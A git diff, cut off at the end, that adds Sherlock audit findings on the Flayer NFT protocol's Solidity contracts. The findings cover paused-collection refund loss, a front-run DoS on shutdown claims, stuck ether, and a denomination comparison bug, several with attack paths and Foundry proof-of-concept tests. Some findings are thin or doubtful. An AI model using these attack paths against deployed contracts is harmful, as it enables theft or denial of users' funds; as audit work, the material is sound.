+Many NFTs like [pudgyPenguins](https://etherscan.io/token/0xbd3531da5cf5857e7cfaa92426877b022e612cf8#readContract)/ [lilPudgys](https://etherscan.io/token/0x524cab2ec69124574082676e6f654a18df49a048#readContract) have a paused functionality. If paused it prevents any transfer of the NFTs.
+
+Suppose a user listed his tokenId paying listingTax, now he wanted to cancel his listings but cancelListing() reverted due to pause.
+```solidity
+ function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+//
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+> refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+//
+ }
+```
+
+ And as we seen above taxRefund is calculated based on time tokenId is listed for & if duration is passed then no refund.
+
+As result, refund amount of user will keep decreasing till 0(zero)
+
+## Impact
+User will lose tax refund if collection is paused
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L931C4-L934C10
+
+## Tool used
+Manual Review
+
+## Recommendation
+Detached the NFT from cancelListing() ie make a mapping that stores the time when a user called cancelListing()
\ No newline at end of file
diff --git a/033/022.md b/033/022.md
new file mode 100644
index 0000000..e8da1e0
--- /dev/null
+++ b/033/022.md
@@ -0,0 +1,129 @@
+Lone Coconut Cat
+
+Medium
+
+# Attackers Can Prevent Claiming Funds Clearing In SudoSwap
+
+## Summary
+
+Holders of a sunset [`CollectionToken`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol) may only reclaim the market value of their auctioned tokens on SudoSwap after all tokens have cleared, however an attacker can prevent this by maliciously donating a sweeper pool token back to the sweeper pool.
+
+## Vulnerability Detail
+
+When a [`CollectionToken`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol) is sunset, the floor tokens held by the protocol are sent for dutch auction on SudoSwap.
+
+This enables the protocol to liquidate all remaining assets in exchange for ETH at the fair market price, which can then be claimed by [`CollectionToken`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol) holders via a call to either [`claim(address,address)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L285C14-L285C67) or [`voteAndClaim(address)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L323C14-L323C47).
+
+For both claim functions, the protocol enforces that the claimant must wait until all tokens sold onto SudoSwap auction must be liquidated before they can redeem their due ETH:
+
+```solidity
+// Ensure that all NFTs have sold from our Sudoswap pool
+if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+```
+
+This is done so that when claimants make a withdrawal, they withdraw their fair share of the full value for all sold `sweeperPoolTokenIds` tokens, referred to as the `availableClaim`:
+
+```solidity
+// Get the number of votes from the claimant and the total supply and determine from that the percentage
+// of the available funds that they are able to claim.
+uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+```
+
+However, an attacker can prevent the liquidation from being reached.
+
+Diving into the [`collectionLiquidationComplete`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L445C14-L445C64), we see that the condition that for asserting whether claimants can access their token value is if the `sweeperPool` is no longer in possession of the `sweeperPoolTokenIds`:
+
+```solidity
+function collectionLiquidationComplete(address _collection) public view returns (bool) {
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ uint sweeperPoolTokenIdsLength = params.sweeperPoolTokenIds.length;
+
+ // If we have no registered tokens, then there is nothing to check
+ if (sweeperPoolTokenIdsLength == 0) {
+ return true;
+ }
+
+ // Store our loop iteration variables
+ address sweeperPool = params.sweeperPool;
+ IERC721 collection = IERC721(_collection);
+
+ // Check that all token IDs have been bought from the pool
+ for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ // If the pool still owns the NFT, then we have to revert as not all tokens have been sold
+ /// @audit liquidiation is not complete until the sweeperPool is not in possession of any sweeperPoolTokenIds
+ if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false;
+ }
+ }
+
+ return true;
+}
+```
+
+Specifically, the vulnerability lies in the following sequence:
+
+```solidity
+if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false;
+}
+```
+
+This is to say that if an attacker purchased one of the sweeper pool tokens from SudoSwap, and then transferred it back to the `sweeperPool`, the sunsetting process would never reach the liquidation state since the `sweeperPool` would continue to be marked as the owner.
+
+Although normally, the token could be rescued from the `sweeperPool` by the `sweeperPool`'s owner, however in this instance the owner is the `CollectionShutdown` itself, which exposes no such functionality to facilitate token rescue.
+
+Consequently, users cannot redeem their share of the `availableClaim`.
+
+## Impact
+
+An attacker can prevent funds from being liquidated by preventing the liquidation state condition from being reached.
+
+## Code Snippet
+
+```solidity
+function collectionLiquidationComplete(address _collection) public view returns (bool) {
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ uint sweeperPoolTokenIdsLength = params.sweeperPoolTokenIds.length;
+
+ // If we have no registered tokens, then there is nothing to check
+ if (sweeperPoolTokenIdsLength == 0) {
+ return true;
+ }
+
+ // Store our loop iteration variables
+ address sweeperPool = params.sweeperPool;
+ IERC721 collection = IERC721(_collection);
+
+ // Check that all token IDs have been bought from the pool
+ for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ // If the pool still owns the NFT, then we have to revert as not all tokens have been sold
+ if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false;
+ }
+ }
+
+ return true;
+}
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Since a call to `createPairERC721ETH` [configures](https://etherscan.io/address/0xa020d57ab0448ef74115c112d18a9c231cc86000#code) the `CollectionShutdown` contract as the `owner` of the newly created SudoSwap pool, expose functionality to allow the Flayer team to `withdrawERC721` from the pool upon the `CollectionShutdown`'s behalf:
+
+```solidity
+/// @notice Allows the team to rescue tokens.
+function withdrawERC721(address _collection, uint256[] calldata _tokenIds, address _recipient) external nonReentrant onlyOwner {
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ address sweeperPool = params.sweeperPool;
+ require(sweeperPool != address(0));
+ LLSVMPairERC721ETH(sweeperPool).withdrawERC721(_collection, _tokenIds);
+ for (uint256 i = 0; i < _tokenIds.length; i++)
+ IERC721(_collection).transferFrom(address(this), _receipient, _tokenIds[i]);
+}
+```
+
+This will also require `CollectionShutdown` to implement `IERC721Receiver` since the `LLSVMPairERC721ETH` [relies upon](https://etherscan.io/address/0x6b75fb66EB8e34CF0e2c39DFD91A97d5a37d819b#code) `safeTransferFrom` back to the `owner`.
\ No newline at end of file
diff --git a/033/300.md b/033/300.md
new file mode 100644
index 0000000..9ecbe0e
--- /dev/null
+++ b/033/300.md
@@ -0,0 +1,94 @@
+Melodic Pickle Goose
+
+High
+
+# Claiming proceeds from a collection shutdown can be DOSed
+
+### Summary
+
+Claiming the ETH proceeds from a collection clearance on SudoSwap after it has been shutdown can be DOSed.
+
+
+### Root Cause
+
+The **CollectionShutdown** contract performs a check ensuring the SudoSwap pool is **not** the owner (using `nft.ownerOf(tokenId)`) of any of the NFTs that the contract listed for sale (`sweeperPoolTokenIds`). This opens an attack vector where a malicious user can buy the NFT from the SudoSwap pool and later front-run calls to `claim()` by sending the NFT to the pool again for sale, buying it back in a back-run transaction.
+Since Flayer will be using a bonding curve that starts pricing the NFTs at 4 ETH, applying a linear discount for a period of 1 week till price hits 0 ETH, this attack can be performed at close to 0 cost.
+
+
+### Internal pre-conditions
+
+Have a collection listed for sale on SudoSwap due to it being shut down.
+
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. A collection gets shut down and its NFTs get deposited to a newly created SudoSwap pool to be sold for ETH and the proceeds to be split amongst the holders of the CollectionToken for that collection.
+2. Malicious actor (Bob) buys for cheap or even for free an NFT from the newly created pool and holds it.
+3. Once all NFTs are sold from the SudoSwap pool, Bob waits for calls to `claim()` or `voteAndClaim()` and front-runs them and transfers the NFT to the SudoSwap pool.
+4. Now `collectionLiquidationComplete()` will return `false` for that collection as the SudoSwap pool is still owner of one of the NFTs (`sweeperPoolTokenIds`) listed for sale, and thus making `claim()` and `voteAndClaim()` revert.
+
+ https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L295
+```solidity
+ function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ // Ensure our user has tokens to claim
+ uint claimableVotes = shutdownVoters[_collection][_claimant];
+ if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+
+ // Ensure that all NFTs have sold from our Sudoswap pool
+→ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+
+ // ...
+ }
+```
+
+ https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L461
+```solidity
+ function collectionLiquidationComplete(address _collection) public view returns (bool) {
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ uint sweeperPoolTokenIdsLength = params.sweeperPoolTokenIds.length;
+
+ // If we have no registered tokens, then there is nothing to check
+ if (sweeperPoolTokenIdsLength == 0) {
+ return true;
+ }
+
+ // Store our loop iteration variables
+ address sweeperPool = params.sweeperPool;
+ IERC721 collection = IERC721(_collection);
+
+ // Check that all token IDs have been bought from the pool
+ for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ // If the pool still owns the NFT, then we have to revert as not all tokens have been sold
+→ if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+→ return false;
+ }
+ }
+
+ return true;
+ }
+```
+
+5. Bob back-runs the `claim()`/`voteAndClaim()` call and buys back the NFT from SudoSwap pool allowing them to keep DOSing the claim functions.
+
+
+### Impact
+
+Owners of NFTs from a collection that's being shut down will neither be able to receive ETH in exchange for their NFTs, nor get their NFTs back as they are already bought by other people.
+
+
+### PoC
+
+See **Attack Path**.
+
+
+### Mitigation
+
+Probably allow for the partial claiming of funds from proceeds from the SudoSwap pool clearance and don't require for all NFTs to be sold in order to split the profits.
diff --git a/034.md b/034.md
new file mode 100644
index 0000000..3aa16f2
--- /dev/null
+++ b/034.md
@@ -0,0 +1,62 @@
+Sour Amethyst Cricket
+
+Medium
+
+# Ether sent to payable functions in ``InfernalRiftBelow`` is lost
+
+### Summary
+
+Ether sent to payable functions in [``/moongate/src/InfernalRiftAbove.sol``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol) is transferred to ``PORTAL`` where it is potentially lost.
+
+### Root Cause
+
+Setting the ``msg.value`` parameter when calling [``crossTheThreshold()``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L83) and [``crossTheThreshold1155()``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L137) within [``/moongate/src/InfernalRiftAbove.sol``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol) results in ether being sent to the function, which calls [``PORTAL.depositTransaction()``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L123) with the ``msg.value`` passed to the original function call. This sends the ether from the address from which the original call was made to the contract at ``PORTAL``, where it is potentially unrecoverable depending on the contract's logic.
+
+### Internal pre-conditions
+
+1. [``crossTheThreshold()``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L83) and [``crossTheThreshold1155()``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L137) within [``/moongate/src/InfernalRiftAbove.sol``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol) are ``external payable`` and call ``PORTAL.depositTransaction()`` with ``msg.value``.
+2. The ``msg.value`` field is set in any calls made to these functions while ``msg.value <= address(this).balance``.
+
+
+
+### External pre-conditions
+
+The contract at ``address _PORTAL`` passed to the constructor of [``/moongate/src/InfernalRiftAbove.sol``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol) does not contain logic for withdrawals or recovering funds lost in this manner.
+
+### Attack Path
+
+1, User calls [``crossTheThreshold()``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L83) or [``crossTheThreshold1155()``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L137) with a valid ``msg.value`` and _any_ properly typed ``ThresholdCrossParams memory`` struct.
+
+### Impact
+
+Any user funds sent to payable functions in [``/moongate/src/InfernalRiftAbove.sol``](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol) are sent outside of the project's scope, and are potentially unrecoverable depending on the nature of the ``PORTAL`` contract.
+
+### PoC
+
+This was written as part of ``/moongate/test/RiftTest.t.sol``.
+
+```solidity
+function testStuckEther() public {
+
+ // Instantiate junk parameters and give ALICE 10 ether
+ IInfernalRiftAbove.ThresholdCrossParams memory params;
+ deal(ALICE, 10 ether);
+
+ /* As ALICE, call InternalRiftAbove.sol's crossTheThreshold() with msg.value
+ this can also be done with crossTheThreshold1155() */
+ vm.startPrank(ALICE);
+
+ // The function below passes msg.value to a depositTransaction() call on PORTAL
+ riftAbove.crossTheThreshold{value: 10 ether}(params);
+
+ //ALICE's ether is now in PORTAL
+ assertEq(ALICE.balance, 0);
+ assertEq(address(riftAbove).balance, 0);
+ assertEq(address(riftBelow).balance, 0);
+ assertEq(address(mockPortalAndMessenger).balance, 10 ether);
+ }
+```
+
+### Mitigation
+
+If there are no cases where ETH transactions need to be supported, the ``payable`` keyword and any occurrences of ``msg.value`` could be removed from these functions entirely.
\ No newline at end of file
diff --git a/034/027.md b/034/027.md
new file mode 100644
index 0000000..ed7887f
--- /dev/null
+++ b/034/027.md
@@ -0,0 +1,48 @@
+Tiny Quartz Wombat
+
+Medium
+
+# Users can make Cross-Collection Token swaps
+
+## Summary
+The `swapBatch` function enables users to swap multiple tokens in a single transaction to improve efficiency. It is supposed to replace a number of token in the locker vault with an equal number of tokens from the same collection.
+
+## Vulnerability Detail
+However, `swapBatch` lacks proper input validation for the validity of token IDs. This could allow malicious users to exploit the system by providing tokens that are from different collections.
+
+## Impact
+Users could unknowingly or intentionally swap cross-collection or duplicate tokens. The failure to validate token IDs could result in incorrect ownership transfers, leading to the misallocation of valuable tokens. Furthermore, allowing tokens from multiple collections to be swapped together introduces inconsistency in token management. This could create issues in tracking ownership or adhering to specific rules set by different token collections.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L268-L287
+```javascript
+[flayer/src/contracts/Locker.sol]
+268 function swapBatch(address _collection, uint[] calldata _tokenIdsIn, uint[] calldata _tokenIdsOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+269 uint tokenIdsInLength = _tokenIdsIn.length;
+270 if (tokenIdsInLength != _tokenIdsOut.length) revert TokenIdsLengthMismatch();
+271
+272 // Cache our collection
+273 IERC721 collection = IERC721(_collection);
+274
+275 for (uint i; i < tokenIdsInLength; ++i) {
+276 // Ensure that the token requested is not a listing
+277 if (isListing(_collection, _tokenIdsOut[i])) revert TokenIsListing(_tokenIdsOut[i]);
+278
+279 // Transfer the users token into the contract
+280 collection.transferFrom(msg.sender, address(this), _tokenIdsIn[i]);
+281
+282 // Transfer the collection token from the caller.
+283 collection.transferFrom(address(this), msg.sender, _tokenIdsOut[i]);
+284 }
+285
+286 emit TokenSwapBatch(_collection, _tokenIdsIn, _tokenIdsOut, msg.sender);
+287 }
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+- Implement a check that ensures all tokens involved in the batch originate from the same collection.
+- Ensure that all token IDs provided in the batch are valid, non-duplicate, and exist in the respective token collections.
\ No newline at end of file
diff --git a/034/292.md b/034/292.md
new file mode 100644
index 0000000..cd4eef9
--- /dev/null
+++ b/034/292.md
@@ -0,0 +1,97 @@
+Radiant Brunette Seagull
+
+Medium
+
+# Improvement Needed: Granular Error Handling in `swapBatch` Function
+
+## Summary
+
+The `swapBatch` function in the `Locker` contract performs multiple token swaps in a batch but uses blanket reverts for error handling, leading to inefficient and opaque user experiences.
+
+## Vulnerability Detail
+
+Currently, if any token swap in the batch fails, the entire transaction reverts. This means users get minimal feedback and must resubmit transactions, incurring additional gas costs and effort.
+
+## Impact
+
+1. **User Experience**: Poor feedback on which specific token swap failed.
+2. **Gas Costs**: Entire batch reverts, causing wasted gas fees.
+3. **Inefficiency**: Users must retry entire batches even if just one swap fails.
+
+## Code Snippet
+
+### Current Function
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L268-L287
+```solidity
+function swapBatch(address _collection, uint[] calldata _tokenIdsIn, uint[] calldata _tokenIdsOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+ uint tokenIdsInLength = _tokenIdsIn.length;
+ if (tokenIdsInLength != _tokenIdsOut.length) revert TokenIdsLengthMismatch();
+
+ // Cache our collection
+ IERC721 collection = IERC721(_collection);
+
+ for (uint i; i < tokenIdsInLength; ++i) {
+ // Ensure that the token requested is not a listing
+@> if (isListing(_collection, _tokenIdsOut[i])) revert TokenIsListing(_tokenIdsOut[i]);
+
+ // Transfer the users token into the contract
+ collection.transferFrom(msg.sender, address(this), _tokenIdsIn[i]);
+
+ // Transfer the collection token from the caller.
+ collection.transferFrom(address(this), msg.sender, _tokenIdsOut[i]);
+ }
+
+ emit TokenSwapBatch(_collection, _tokenIdsIn, _tokenIdsOut, msg.sender);
+}
+```
+
+### Recommended Function with `try/catch`
+
+```solidity
+function swapBatch(address _collection, uint[] calldata _tokenIdsIn, uint[] calldata _tokenIdsOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+ uint tokenIdsInLength = _tokenIdsIn.length;
+ if (tokenIdsInLength != _tokenIdsOut.length) revert TokenIdsLengthMismatch();
+
+ // Cache our collection
+ IERC721 collection = IERC721(_collection);
+
+ for (uint i; i < tokenIdsInLength; ++i) {
+ // Ensure that the token requested is not a listing
+ if (isListing(_collection, _tokenIdsOut[i])) {
+ emit TokenSwapFailed(_collection, _tokenIdsIn[i], _tokenIdsOut[i], "Token is a listing");
+ continue;
+ }
+
+ // Attempt to transfer the user's token into the contract and swap
+ try collection.transferFrom(msg.sender, address(this), _tokenIdsIn[i]) {
+ try collection.transferFrom(address(this), msg.sender, _tokenIdsOut[i]) {
+ // Successful swap, continue to the next item
+ emit TokenSwapSuccess(_collection, _tokenIdsIn[i], _tokenIdsOut[i], msg.sender);
+ } catch {
+ // Revert the incoming transfer if we cannot complete the swap
+ collection.transferFrom(address(this), msg.sender, _tokenIdsIn[i]);
+ emit TokenSwapFailed(_collection, _tokenIdsIn[i], _tokenIdsOut[i], "Failed to transfer Out token");
+ }
+ } catch {
+ emit TokenSwapFailed(_collection, _tokenIdsIn[i], _tokenIdsOut[i], "Failed to transfer In token");
+ }
+ }
+
+ emit TokenSwapBatch(_collection, _tokenIdsIn, _tokenIdsOut, msg.sender);
+}
+
+// Additional Events
+event TokenSwapSuccess(address indexed _collection, uint _tokenIdIn, uint _tokenIdOut, address _sender);
+event TokenSwapFailed(address indexed _collection, uint _tokenIdIn, uint _tokenIdOut, string reason);
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Implement `try/catch` within the `swapBatch` function to handle individual token swap failures gracefully. This approach will:
+1. Improve user experience by providing specific feedback for failed swaps.
+2. Reduce unnecessary gas costs by avoiding full transaction reverts.
+3. Enhance transparency with detailed event logs for both successful and failed swaps.
\ No newline at end of file
diff --git a/035/043.md b/035/043.md
new file mode 100644
index 0000000..94bad36
--- /dev/null
+++ b/035/043.md
@@ -0,0 +1,89 @@
+Wobbly Neon Hyena
+
+Medium
+
+# Invalid comparison in `CollectionShutdown::start`, allowing users to start the shutdown process for collections whose denomination is > 0
+
+### Summary
+
+When collections are created in the `Locker` contract, users can add denominations for the created ERC20, these are extra decimals to the token, representing some kind of meme coins. This denomination is "imaginary" decimals that are used whenever using these tokens within the protocol, i.e. all balances and supply are e18.
+
+On the other hand, when starting the shutdown process of a collection using `CollectionShutdown::start`, the protocol checks if the supply of the collection tokens is greater than 4 tokens (4e18), however, it denominates the threshold with the denomination decimals and compares it with the bare supply, which is 18 decimals:
+```solidity
+if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+```
+
+This leads to inaccurate results, allowing users to start the shutdown process for collections with high total supply.
+
+### Root Cause
+
+In `CollectionShutdown::start`, total supply (which is not denominated) is being compared with 4e18 ** denomination, always leading to inaccurate results for collections with denomination >0, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157).
+
+### Impact
+
+Users can start the shutdown process for active/decent collections.
+
+### PoC
+
+Add the following test in `flayer/test/utils/CollectionShutdown.t.sol`:
+
+```solidity
+function test_WrongDenominationComparison() public {
+ ERC721Mock NFT = new ERC721Mock();
+ ICollectionToken NFTcollectionToken;
+
+ // denomination = 5
+ locker.createCollection(address(NFT), "Test Collection", "TEST", 5);
+ NFTcollectionToken = locker.collectionToken(address(NFT));
+
+ // Simulate the minting of 100 tokens
+ vm.prank(address(locker));
+ NFTcollectionToken.mint(address(this), 100 ether);
+
+ // Total supply is greater than MAX_SHUTDOWN_TOKENS (4 ether)
+ assertGt(
+ NFTcollectionToken.totalSupply(),
+ collectionShutdown.MAX_SHUTDOWN_TOKENS()
+ );
+
+ // Start the shutdown process, doesn't revert
+ NFTcollectionToken.approve(address(collectionShutdown), type(uint).max);
+ collectionShutdown.start(address(NFT));
+
+ // Shutdown process started
+ assertGt(
+ collectionShutdown.collectionParams(address(NFT)).shutdownVotes,
+ 0
+ );
+}
+```
+
+### Mitigation
+
+Remove the denomination from the comparison in `CollectionShutdown::start`:
+```diff
+function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+- if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
++ if (totalSupply > MAX_SHUTDOWN_TOKENS) revert TooManyItems();
+
+ // Set our quorum vote requirement
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+
+ // Notify that we are processing a shutdown
+ emit CollectionShutdownStarted(_collection);
+
+ // Cast our vote from the user
+ _collectionParams[_collection] = _vote(_collection, params);
+}
+```
\ No newline at end of file
diff --git a/035/044.md b/035/044.md
new file mode 100644
index 0000000..1780b6a
--- /dev/null
+++ b/035/044.md
@@ -0,0 +1,104 @@
+Wobbly Neon Hyena
+
+Medium
+
+# Invalid comparison in `CollectionShutdown::cancel`, blocking users from canceling the shutdown process for collections whose denomination is > 0
+
+### Summary
+
+When collections are created in the `Locker` contract, users can add denominations for the created ERC20, these are extra decimals to the token, representing some kind of meme coins. This denomination is "imaginary" decimals that are used whenever using these tokens within the protocol, i.e. all balances and supply are e18.
+
+On the other hand, when canceling the shutdown process of a collection using `CollectionShutdown::cancel`, the protocol checks if the supply of the collection tokens is greater than 4 tokens (4e18), however, it denominates the threshold with the denomination decimals and compares it with the bare supply, which is 18 decimals:
+```solidity
+// Check if the total supply has surpassed an amount of the initial required
+// total supply. This would indicate that a collection has grown since the
+// initial shutdown was triggered and could result in an unsuspected liquidation.
+if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+}
+```
+
+This leads to inaccurate results, blocking users from canceling the shutdown process for collections with a high total supply.
+
+### Root Cause
+
+In `CollectionShutdown:: cancel`, total supply (which is not denominated) is being compared with 4e18 ** denomination, always leading to inaccurate results for collections with denomination >0, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405).
+
+### Impact
+
+Users can't cancel the shutdown process for active/decent collections.
+
+### PoC
+
+Add the following test in `flayer/test/utils/CollectionShutdown.t.sol`:
+
+```solidity
+function test_cancel_WrongDenominationComparison() public {
+ ERC721Mock NFT = new ERC721Mock();
+ ICollectionToken NFTcollectionToken;
+
+ // denomination = 5
+ locker.createCollection(address(NFT), "Test Collection", "TEST", 5);
+ NFTcollectionToken = locker.collectionToken(address(NFT));
+
+ // Simulate the minting of 3 tokens
+ vm.prank(address(locker));
+ NFTcollectionToken.mint(address(this), 3 ether);
+
+ // Total supply is less than MAX_SHUTDOWN_TOKENS (4 ether)
+ assertLt(
+ NFTcollectionToken.totalSupply(),
+ collectionShutdown.MAX_SHUTDOWN_TOKENS()
+ );
+
+ // Start the shutdown process, doesn't revert
+ NFTcollectionToken.approve(address(collectionShutdown), type(uint).max);
+ collectionShutdown.start(address(NFT));
+
+ // Shutdown process started
+ assertGt(
+ collectionShutdown.collectionParams(address(NFT)).shutdownVotes,
+ 0
+ );
+
+ // Simulate the minting of 2 more tokens
+ vm.prank(address(locker));
+ NFTcollectionToken.mint(address(this), 2 ether);
+
+ // Total supply is greater than MAX_SHUTDOWN_TOKENS (4 ether)
+ assertGt(
+ NFTcollectionToken.totalSupply(),
+ collectionShutdown.MAX_SHUTDOWN_TOKENS()
+ );
+
+ // Can't cancel the shutdown process
+ vm.expectRevert(
+ ICollectionShutdown.InsufficientTotalSupplyToCancel.selector
+ );
+ collectionShutdown.cancel(address(NFT));
+}
+```
+
+### Mitigation
+
+Remove the denomination from the comparison in `CollectionShutdown::cancel`:
+
+```diff
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+- if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
++ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
\ No newline at end of file
diff --git a/036/052.md b/036/052.md
new file mode 100644
index 0000000..707f9a4
--- /dev/null
+++ b/036/052.md
@@ -0,0 +1,26 @@
+Funny Grape Ladybug
+
+Medium
+
+# Native ETH Sending Not Protected in Functions
+
+## Summary
+Two functions, `claim` and `voteAndClaim`, in the `CollectionShutdown.sol` contract lack proper checks when handling native ETH transfers. There are no checks to ensure `msg.sender` is properly validated in these cases.
+
+## Vulnerability Detail
+The contract sends native ETH without fully ensuring `msg.sender` is valid, which could allow unintended parties to receive funds. This vulnerability occurs in the `claim` function and the `voteAndClaim` function.
+
+## Impact
+An attacker or unauthorized user could exploit this lack of validation to claim ETH improperly, leading to unauthorized fund transfers and financial loss. This issue affects functions that interact with ETH transfers in liquidation or claiming mechanisms.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L323C5-L323C70
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L285
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Introduce sender validation checks before initiating ETH transfers to ensure the correct and authorized user receives the funds. For instance, verify that `msg.sender` is the rightful owner of the claim or that it matches the intended recipient of the transaction.
\ No newline at end of file
diff --git a/036/592.md b/036/592.md
new file mode 100644
index 0000000..500034c
--- /dev/null
+++ b/036/592.md
@@ -0,0 +1,43 @@
+Puny Mocha Guppy
+
+High
+
+# H-5 Sending native Eth is not protected from these functions --
+
+## Summary
+
+Sending native Eth is not protected from these functions.
+
+## Vulnerability Detail
+
+
+
+## Impact
+
+## Code Snippet
+
+2 Found Instances
+
+
+- Found in src/contracts/utils/CollectionShutdown.sol [Line: 285](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285)
+
+ ```solidity
+ function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ ```
+
+- Found in src/contracts/utils/CollectionShutdown.sol [Line: 323](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L323)
+
+ ```solidity
+ function voteAndClaim(address _collection) public whenNotPaused {
+ ```
+
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Introduce checks for `msg.sender` in the function
diff --git a/037/053.md b/037/053.md
new file mode 100644
index 0000000..4b326bd
--- /dev/null
+++ b/037/053.md
@@ -0,0 +1,40 @@
+Funny Grape Ladybug
+
+High
+
+# Contract Locks Ether Without a Withdraw Function
+
+## Summary
